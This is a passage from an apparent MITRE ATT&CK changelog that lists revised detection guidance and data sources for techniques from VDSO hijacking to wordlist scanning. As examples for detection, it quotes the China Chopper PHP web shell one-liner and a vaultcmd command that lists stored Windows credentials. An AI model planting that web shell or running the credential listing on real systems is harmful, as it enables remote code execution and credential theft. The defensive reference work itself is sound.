x_mitre_detection	Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the `PROJECT` stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the `PROJECT` stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)

[T1055.014] Process Injection: VDSO Hijacking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)

New Detections (Detection Strategies -> Technique):

DET0448: Detection Strategy for VDSO Hijacking on Linux

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:52.691000+00:00	2025-10-24 17:49:08.040000+00:00
x_mitre_detection	Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1021.005] Remote Services: VNC

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0178: Behavioral Detection of Unauthorized VNC Remote Control Sessions

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:01.548000+00:00	2025-10-24 17:48:19.567000+00:00
x_mitre_detection	Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. On macOS systems `log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'` can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)

[T1078] Valid Accounts

Current version: 2.8

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0560: Detection of Valid Account Abuse Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:58.373000+00:00	2025-10-24 17:49:14.095000+00:00
x_mitre_detection	Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.

[T1218.012] System Binary Proxy Execution: Verclsid

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0042: Detection Strategy for T1218.012 Verclsid Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:46.323000+00:00	2025-10-24 17:49:01.930000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.

[T1125] Video Capture

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0197: Behavior-chain, platform-aware detection strategy for T1125 Video Capture

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:42.332000+00:00	2025-10-24 17:48:56.077000+00:00
x_mitre_detection	Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.

[T1583.003] Acquire Infrastructure: Virtual Private Server

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)

New Detections (Detection Strategies -> Technique):

DET0838: Detection of Virtual Private Server

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content', 'Internet Scan: Response Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:18:46.651000+00:00	2025-10-24 17:48:59.607000+00:00
x_mitre_detection	Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1584.003] Compromise Infrastructure: Virtual Private Server

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)

New Detections (Detection Strategies -> Technique):

DET0854: Detection of Virtual Private Server

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content', 'Internet Scan: Response Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:19:04.087000+00:00	2025-10-24 17:48:40.055000+00:00
x_mitre_detection	Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1497] Virtualization/Sandbox Evasion

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0046: Detection Strategy for T1497 Virtualization/Sandbox Evasion

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:47.123000+00:00	2025-10-24 17:49:02.638000+00:00
x_mitre_detection	Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1059.005] Command and Scripting Interpreter: Visual Basic

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0076: Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:14.314000+00:00	2025-10-24 17:49:29.678000+00:00
x_mitre_detection	Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.

[T1588.006] Obtain Capabilities: Vulnerabilities

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0808: Detection of Vulnerabilities

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:19:21.267000+00:00	2025-10-24 17:48:34.033000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1595.002] Active Scanning: Vulnerability Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0867: Detection of Vulnerability Scanning

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:19:33.981000+00:00	2025-10-24 17:48:48.647000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1596.002] Search Open Technical Databases: WHOIS

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0832: Detection of WHOIS

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:20:02.082000+00:00	2025-10-24 17:48:26.629000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1600] Weaken Encryption

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0339: Detection Strategy for Weaken Encryption on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:15.040000+00:00	2025-10-24 17:48:30.124000+00:00
x_mitre_detection	There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.

[T1606.001] Forge Web Credentials: Web Cookies

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0006: Web Credential (Web Credential Usage)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0171: Detection Strategy for Forged Web Cookies

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:20:22.744000+00:00	2025-10-24 17:49:04.036000+00:00
x_mitre_detection	Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1056.003] Input Capture: Web Portal Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0480: Detection of Credential Harvesting via Web Portal Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:38.649000+00:00	2025-10-24 17:48:54.254000+00:00
x_mitre_detection	File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.

[T1102] Web Service

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0425: Suspicious Use of Web Services for C2

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:47.211000+00:00	2025-10-24 17:49:02.831000+00:00
x_mitre_detection	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1583.006] Acquire Infrastructure: Web Services

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0896: Detection of Web Services

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.217000+00:00	2025-10-24 17:49:04.554000+00:00
x_mitre_detection	Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).

[T1584.006] Compromise Infrastructure: Web Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0882: Detection of Web Services

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:20:42.131000+00:00	2025-10-24 17:49:13.641000+00:00
x_mitre_detection	Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).

[T1550.004] Use Alternate Authentication Material: Web Session Cookie

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0006: Web Credential (Web Credential Usage)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0074: Detect Use of Stolen Web Session Cookies Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Web Credential: Web Credential Usage']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:05.730000+00:00	2025-10-24 17:49:20.943000+00:00
x_mitre_detection	Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1505.003] Server Software Component: Web Shell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0394: Web Shell Detection via Server Behavior and File Execution Chains

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:34.688000+00:00	2025-10-24 17:48:50.387000+00:00
x_mitre_detection	Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) `<?php @eval($_POST['password']);>` Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells) File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells) Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

[T1059.003] Command and Scripting Interpreter: Windows Command Shell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0202: Behavioral Detection of Windows Command Shell Execution

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:10.209000+00:00	2025-10-24 17:49:25.722000+00:00
x_mitre_detection	Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1555.004] Credentials from Password Stores: Windows Credential Manager

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0134: Detect Suspicious Access to Windows Credential Manager

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:21:30.628000+00:00	2025-10-24 17:49:26.444000+00:00
x_mitre_detection	Monitor process and command-line parameters of `vaultcmd.exe` for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., `vaultcmd /listcreds:“Windows Credentials”`).(Citation: Malwarebytes The Windows Vault) Consider monitoring API calls such as `CredEnumerateA` that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) Consider monitoring file reads to Vault locations, `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`, for suspicious activity.(Citation: Malwarebytes The Windows Vault)

[T1222.001] File and Directory Permissions Modification: Windows File and Directory Permissions Modification

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0418: Windows DACL Manipulation Behavioral Chain Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Process: Process Creation', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:21:45.352000+00:00	2025-10-24 17:48:37.826000+00:00
x_mitre_detection	Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)

[T1047] Windows Management Instrumentation

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0364: Behavioral Detection Strategy for WMI Execution Abuse on Windows

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'WMI: WMI Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:01.648000+00:00	2025-10-24 17:48:19.670000+00:00
x_mitre_detection	Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)

[T1546.003] Event Triggered Execution: Windows Management Instrumentation Event Subscription

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0086: Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'WMI: WMI Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:50.950000+00:00	2025-10-24 17:49:06.119000+00:00
x_mitre_detection	Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI `EventFilter`, `EventConsumer`, and `FilterToConsumerBinding` events. Event ID 5861 is logged on Windows 10 systems when new `EventFilterToConsumerBinding` events are created.(Citation: Elastic - Hunting for Persistence Part 1) Monitor processes and command-line arguments that can be used to register WMI persistence, such as the `Register-WmiEvent` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)

[T1021.006] Remote Services: Windows Remote Management

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0477: Behavioral Detection of WinRM-Based Remote Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Service: Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:22:03.699000+00:00	2025-10-24 17:48:51+00:00
x_mitre_detection	Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).

[T1543.003] Create or Modify System Process: Windows Service

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Modification)
DS0022: File (File Metadata)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0552: Detection of Windows Service Creation or Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Command: Command Execution', 'File: File Metadata', 'Windows Registry: Windows Registry Key Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:16.076000+00:00	2025-10-24 17:48:33.408000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at `HKLM\SYSTEM\CurrentControlSet\Services`. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1547.004] Boot or Logon Autostart Execution: Winlogon Helper DLL

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0404: Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:37.982000+00:00	2025-10-24 17:48:53.539000+00:00
x_mitre_detection	Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1595.003] Active Scanning: Wordlist Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0868: Detection of Wordlist Scanning

Details

dictionary_item_removed
STIX Field	Old value	New Value
